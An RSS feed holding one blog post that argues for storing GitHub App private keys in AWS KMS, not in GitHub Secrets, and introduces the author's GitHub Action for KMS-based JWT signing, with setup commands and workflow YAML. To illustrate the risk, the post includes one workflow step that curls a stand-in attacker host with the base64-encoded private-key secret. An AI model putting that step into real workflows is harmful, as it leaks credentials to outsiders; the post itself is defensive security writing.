<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: konippi</title>
    <description>The latest articles on Forem by konippi (@_konippi).</description>
    <link>https://forem.com/_konippi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3869071%2F2ffe89a3-18d7-4547-9943-80c74d9b5d54.jpeg</url>
      <title>Forem: konippi</title>
      <link>https://forem.com/_konippi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/_konippi"/>
    <language>en</language>
    <item>
      <title>Stop storing your GitHub App private key in GitHub Secrets</title>
      <dc:creator>konippi</dc:creator>
      <pubDate>Thu, 09 Apr 2026 07:17:39 +0000</pubDate>
      <link>https://forem.com/_konippi/stop-storing-your-github-app-private-key-in-github-secrets-39fi</link>
      <guid>https://forem.com/_konippi/stop-storing-your-github-app-private-key-in-github-secrets-39fi</guid>
      <description>&lt;p&gt;In March 2026, the &lt;a href="https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23" rel="noopener noreferrer"&gt;compromise of Trivy&lt;/a&gt; — a vulnerability scanner used in thousands of CI/CD pipelines — made headlines. A threat actor exploited the &lt;code&gt;pull_request_target&lt;/code&gt; workflow trigger in GitHub Actions to steal a PAT, then injected a credential stealer into Trivy's official release. Around the same time, the &lt;a href="https://www.wiz.io/blog/axios-npm-compromised-in-supply-chain-attack" rel="noopener noreferrer"&gt;axios npm package was compromised&lt;/a&gt; via a compromised maintainer account, and the &lt;a href="https://www.wiz.io/blog/six-accounts-one-actor-inside-the-prt-scan-supply-chain-campaign" rel="noopener noreferrer"&gt;prt-scan campaign&lt;/a&gt; was actively exploiting the same &lt;code&gt;pull_request_target&lt;/code&gt; misconfiguration at scale.&lt;/p&gt;

&lt;p&gt;These incidents share a common pattern: a trusted part of the software supply chain gets compromised, and the damage propagates at scale through distribution channels. Trivy and prt-scan both originated from misconfigured &lt;code&gt;pull_request_target&lt;/code&gt; triggers. The prt-scan campaign directly exploited this to exfiltrate credentials, while Trivy's incomplete credential rotation after the initial breach let the attacker escalate to tampering with official releases.&lt;/p&gt;

&lt;p&gt;GitHub App private keys are no exception. &lt;a href="https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps#storing-private-keys" rel="noopener noreferrer"&gt;GitHub's docs on managing private keys&lt;/a&gt; call the private key "the single most valuable secret for a GitHub App" — it's the master key that grants access to every permission the app holds. And it never expires unless manually revoked.&lt;/p&gt;

&lt;p&gt;So I built a GitHub Action that moves the private key out of GitHub Secrets and confines it inside AWS KMS:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/konippi/create-github-app-token-aws-kms" rel="noopener noreferrer"&gt;https://github.com/konippi/create-github-app-token-aws-kms&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This post walks through how it isolates the private key from the workflow — the problem, the design, and the internals.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem with Storing Private Keys in Secrets
&lt;/h2&gt;

&lt;p&gt;Many projects use &lt;a href="https://github.com/actions/create-github-app-token" rel="noopener noreferrer"&gt;actions/create-github-app-token&lt;/a&gt; and store the private key in GitHub Secrets. This approach has several issues.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anyone who can edit a workflow can exfiltrate the key.&lt;/strong&gt; GitHub Secrets values are hidden in the UI, but the actual values are passed to the workflow at runtime. Any user with &lt;a href="https://docs.github.com/en/actions/reference/security/secure-use#use-secrets-for-sensitive-information" rel="noopener noreferrer"&gt;write access has read access to all secrets&lt;/a&gt; configured on that repository — they can modify a workflow to send secrets to an external server. As GitHub's &lt;a href="https://docs.github.com/en/actions/concepts/security/compromised-runners#exfiltrating-data-from-a-runner" rel="noopener noreferrer"&gt;compromised runners docs&lt;/a&gt; describe, an attacker can exfiltrate secrets via HTTP requests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;curl "https://evil.example.com?key=$(printenv APP_PRIVATE_KEY | base64 -w0)"&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;APP_PRIVATE_KEY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.APP_PRIVATE_KEY }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;A compromised third-party action can leak all secrets.&lt;/strong&gt; The Trivy and prt-scan incidents showed exactly this. GitHub Actions has no mechanism to restrict which secrets are passed to individual actions. As &lt;a href="https://docs.github.com/en/actions/reference/security/secure-use#using-third-party-actions" rel="noopener noreferrer"&gt;GitHub's security reference&lt;/a&gt; warns: "a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Push ruleset file path restrictions are too broad.&lt;/strong&gt; Repository secrets are accessible from every workflow in the repository. Even if you use a &lt;a href="https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#restrict-file-paths" rel="noopener noreferrer"&gt;push ruleset's "Restrict file paths"&lt;/a&gt; rule to lock down specific workflow files, an attacker can create a new workflow at an unprotected path and exfiltrate the key from there. You end up having to protect the entire &lt;code&gt;.github/workflows/&lt;/code&gt; directory — severely degrading the developer experience.&lt;/p&gt;

&lt;p&gt;The root cause: GitHub Secrets &lt;strong&gt;cannot separate "use" (signing) from "read" (export) of the private key&lt;/strong&gt;. To sign, the plaintext key must be loaded into the runner's memory — and once it's there, exfiltration can't be fully prevented.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Solution: Sign Remotely, Never Export
&lt;/h2&gt;

&lt;p&gt;Instead of passing the private key to the runner, store it in AWS KMS and delegate only the signing operation. &lt;a href="https://aws.amazon.com/kms/" rel="noopener noreferrer"&gt;AWS KMS&lt;/a&gt; is a managed service for creating and managing cryptographic keys, where KMS keys are protected by &lt;a href="https://csrc.nist.gov/projects/cryptographic-module-validation-program/certificate/4884" rel="noopener noreferrer"&gt;FIPS 140-3 Security Level 3–validated HSMs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;According to &lt;a href="https://docs.aws.amazon.com/kms/latest/developerguide/data-protection.html" rel="noopener noreferrer"&gt;AWS KMS data protection docs&lt;/a&gt;, plaintext key material is decrypted only within HSM volatile memory for the few milliseconds needed for a cryptographic operation, and never leaves the HSM security boundary. More importantly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;There is no mechanism for anyone, including AWS service operators, to view, access, or export plaintext key material. This principle applies even during catastrophic failures and disaster recovery events.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;No one — not even AWS operators — can access plaintext key material. That's the key difference from GitHub Secrets, where the plaintext private key is handed directly to the runner.&lt;/p&gt;

&lt;p&gt;Here's the flow:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjdx9ff60ahv9t46spy4f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjdx9ff60ahv9t46spy4f.png" alt="create-github-app-token-aws-kms flow" width="800" height="503"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The only thing passed to the workflow is the KMS key ID — not a secret.&lt;/p&gt;

&lt;p&gt;Under the hood, the implementation injects an AWS KMS signing function via the &lt;code&gt;createJwt&lt;/code&gt; option in &lt;a href="https://github.com/octokit/auth-app.js" rel="noopener noreferrer"&gt;&lt;code&gt;@octokit/auth-app&lt;/code&gt;&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Sign the JWT via the AWS KMS Sign API (the private key never reaches the runner)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;signer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;KmsSigner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;kmsKeyId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Inject the AWS KMS signing function via @octokit/auth-app's createJwt option&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;octokit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Octokit&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;authStrategy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;createAppAuth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;appId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;createJwt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;createJwtCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signer&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At job completion, the post step automatically revokes the installation access token, minimizing the token's lifetime.&lt;/p&gt;

&lt;p&gt;The KMS Sign API call adds negligible latency — no practical bottleneck. Migration requires only creating and importing a KMS key; no changes to downstream workflow steps.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Sign-Only Principle and Its Effects
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps#storing-private-keys" rel="noopener noreferrer"&gt;GitHub's docs on storing private keys&lt;/a&gt; recommend:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Consider storing the key in a key vault, such as Azure Key Vault, and making it sign-only. This helps ensure that you can't lose the private key. Once the private key is uploaded to the key vault, it can never be read from there. It can only be used to sign things, and access to the private key is determined by your infrastructure rules.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here's what changes concretely when this &lt;strong&gt;sign-only&lt;/strong&gt; principle is realized with AWS KMS.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Material Exfiltration Becomes Structurally Impossible
&lt;/h3&gt;

&lt;p&gt;Even if an attacker tampers with the workflow, they cannot extract the key from AWS KMS. Key policies let you restrict the permitted algorithms using the &lt;a href="https://docs.aws.amazon.com/kms/latest/developerguide/conditions-kms.html#conditions-kms-signing-algorithm" rel="noopener noreferrer"&gt;&lt;code&gt;kms:SigningAlgorithm&lt;/code&gt; condition key&lt;/a&gt;. Even if the IAM role is compromised, the most an attacker can do is "sign with &lt;code&gt;RSASSA_PKCS1_V1_5_SHA_256&lt;/code&gt;" — nothing more.&lt;/p&gt;

&lt;p&gt;"But can't they still make it sign things?" — fair point, and that residual risk does exist. But the severity gap is massive. If the key is exfiltrated, the attacker can issue tokens indefinitely from any environment, and detection is extremely difficult. With AWS KMS, the attacker can only sign during the validity period of the OIDC-issued temporary credentials, and every API call is recorded in CloudTrail.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;GitHub Secrets&lt;/th&gt;
&lt;th&gt;AWS KMS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Key state during signing&lt;/td&gt;
&lt;td&gt;Plaintext in runner memory&lt;/td&gt;
&lt;td&gt;Decrypted only within HSM volatile memory for a few milliseconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key readability&lt;/td&gt;
&lt;td&gt;Readable from memory&lt;/td&gt;
&lt;td&gt;Plaintext key material never leaves the HSM security boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access control&lt;/td&gt;
&lt;td&gt;Repository write access = access to all secrets&lt;/td&gt;
&lt;td&gt;Key policy can restrict to &lt;code&gt;kms:Sign&lt;/code&gt; only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;GitHub Actions logs&lt;/td&gt;
&lt;td&gt;CloudTrail records every API call&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In short: GitHub Secrets exposes the key itself; AWS KMS exposes only the ability to sign — scoped, time-limited, and fully audited.&lt;/p&gt;

&lt;h3&gt;
  
  
  Moving Access Control Outside GitHub
&lt;/h3&gt;

&lt;p&gt;As GitHub's docs put it, "access to the private key is determined by your infrastructure rules." Moving the key to AWS KMS shifts access control outside of GitHub entirely.&lt;/p&gt;

&lt;p&gt;GitHub Actions OIDC tokens contain claims like &lt;code&gt;job_workflow_ref&lt;/code&gt; and &lt;code&gt;repository_id&lt;/code&gt;. By specifying these as conditions in the IAM role's trust policy, you can restrict KMS access to "only when executed from a specific workflow in a specific repository." The scope of what needs push ruleset protection narrows down to just that workflow file.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Before: Protect the entire &lt;code&gt;.github/workflows/&lt;/code&gt; → no one can casually edit any workflow&lt;/li&gt;
&lt;li&gt;After: Protect only &lt;code&gt;deploy.yml&lt;/code&gt; → all other workflows remain freely editable&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Enforcing Token Scope
&lt;/h3&gt;

&lt;p&gt;Scoping the installation access token to only the required repositories and permissions at issuance directly reduces the blast radius.&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;actions/create-github-app-token&lt;/code&gt;, specifying &lt;code&gt;permissions&lt;/code&gt; is optional — omitting it generates a token with all permissions granted to the installation. &lt;code&gt;create-github-app-token-aws-kms&lt;/code&gt; requires at least one &lt;code&gt;permission-*&lt;/code&gt; input. This structurally prevents the "just grant everything" anti-pattern.&lt;/p&gt;

&lt;h2&gt;
  
  
  Usage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Create an AWS KMS Key and Import the Private Key
&lt;/h3&gt;

&lt;p&gt;Create an RSA 2048 key with &lt;code&gt;EXTERNAL&lt;/code&gt; origin and import the GitHub App private key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws kms create-key &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--key-spec&lt;/span&gt; RSA_2048 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--key-usage&lt;/span&gt; SIGN_VERIFY &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--origin&lt;/span&gt; EXTERNAL &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--description&lt;/span&gt; &lt;span class="s2"&gt;"GitHub App JWT signing key"&lt;/span&gt;

openssl pkcs8 &lt;span class="nt"&gt;-topk8&lt;/span&gt; &lt;span class="nt"&gt;-inform&lt;/span&gt; PEM &lt;span class="nt"&gt;-outform&lt;/span&gt; DER &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-in&lt;/span&gt; github-app-private-key.pem &lt;span class="nt"&gt;-out&lt;/span&gt; private-key.der &lt;span class="nt"&gt;-nocrypt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;--origin EXTERNAL&lt;/code&gt; is required to import your own key material. Importing asymmetric keys has been &lt;a href="https://aws.amazon.com/about-aws/whats-new/2023/06/aws-kms-importing-asymmetric-hmac-keys" rel="noopener noreferrer"&gt;supported since June 2023&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Imported key material is decrypted in an AWS KMS HSM and re-encrypted under a symmetric key in the HSM. As the &lt;a href="https://docs.aws.amazon.com/kms/latest/developerguide/data-protection.html" rel="noopener noreferrer"&gt;KMS data protection docs&lt;/a&gt; state, plaintext imported key material never leaves the HSMs unencrypted. After the import is complete, promptly delete the local PEM file.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For detailed steps including key policies and IAM role trust policies, see the &lt;a href="https://github.com/konippi/create-github-app-token-aws-kms#aws-setup" rel="noopener noreferrer"&gt;README&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Using in a Workflow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

&lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;aws-actions/configure-aws-credentials@7474bc4690e29a8392af63c5b98e7449536d5c3a&lt;/span&gt; &lt;span class="c1"&gt;# v4.3.1&lt;/span&gt;
    &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;role-to-assume&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;arn:aws:iam::123456789012:role/github-app-token-signer&lt;/span&gt;
      &lt;span class="na"&gt;aws-region&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ap-northeast-1&lt;/span&gt;
      &lt;span class="na"&gt;role-duration-seconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;900&lt;/span&gt; &lt;span class="c1"&gt;# Minimize session duration&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;konippi/create-github-app-token-aws-kms@eb864f78285e18e84befd731e09fcc6e3fb7a4db&lt;/span&gt; &lt;span class="c1"&gt;# v1&lt;/span&gt;
    &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;app-token&lt;/span&gt;
    &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;app-id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ vars.APP_ID }}&lt;/span&gt;
      &lt;span class="na"&gt;kms-key-id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ vars.KMS_KEY_ID }}&lt;/span&gt;
      &lt;span class="na"&gt;permission-contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd&lt;/span&gt; &lt;span class="c1"&gt;# v6&lt;/span&gt;
    &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ steps.app-token.outputs.token }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;A GitHub App private key is the most critical credential — it never expires and grants access to every repository the app is authorized for. GitHub Secrets can't separate "use" from "read" of this key, but confining it inside AWS KMS achieves exactly that: even if a workflow is compromised, the key itself can't be exfiltrated.&lt;/p&gt;

&lt;p&gt;Of course, KMS alone doesn't make your entire workflow secure. As &lt;a href="https://wellarchitected.github.com/library/application-security/recommendations/actions-security" rel="noopener noreferrer"&gt;GitHub Well-Architected&lt;/a&gt; outlines with its 12 security strategies, combining multiple layers of defense is essential — pinning actions to commit SHAs, applying least privilege to &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;, leveraging OIDC, avoiding &lt;code&gt;pull_request_target&lt;/code&gt;, and more.&lt;/p&gt;

&lt;p&gt;If you found this useful, ⭐️ &lt;a href="https://github.com/konippi/create-github-app-token-aws-kms" rel="noopener noreferrer"&gt;star the repo on GitHub&lt;/a&gt; — feedback, issues, and PRs are all welcome!&lt;/p&gt;

</description>
      <category>aws</category>
      <category>security</category>
      <category>github</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
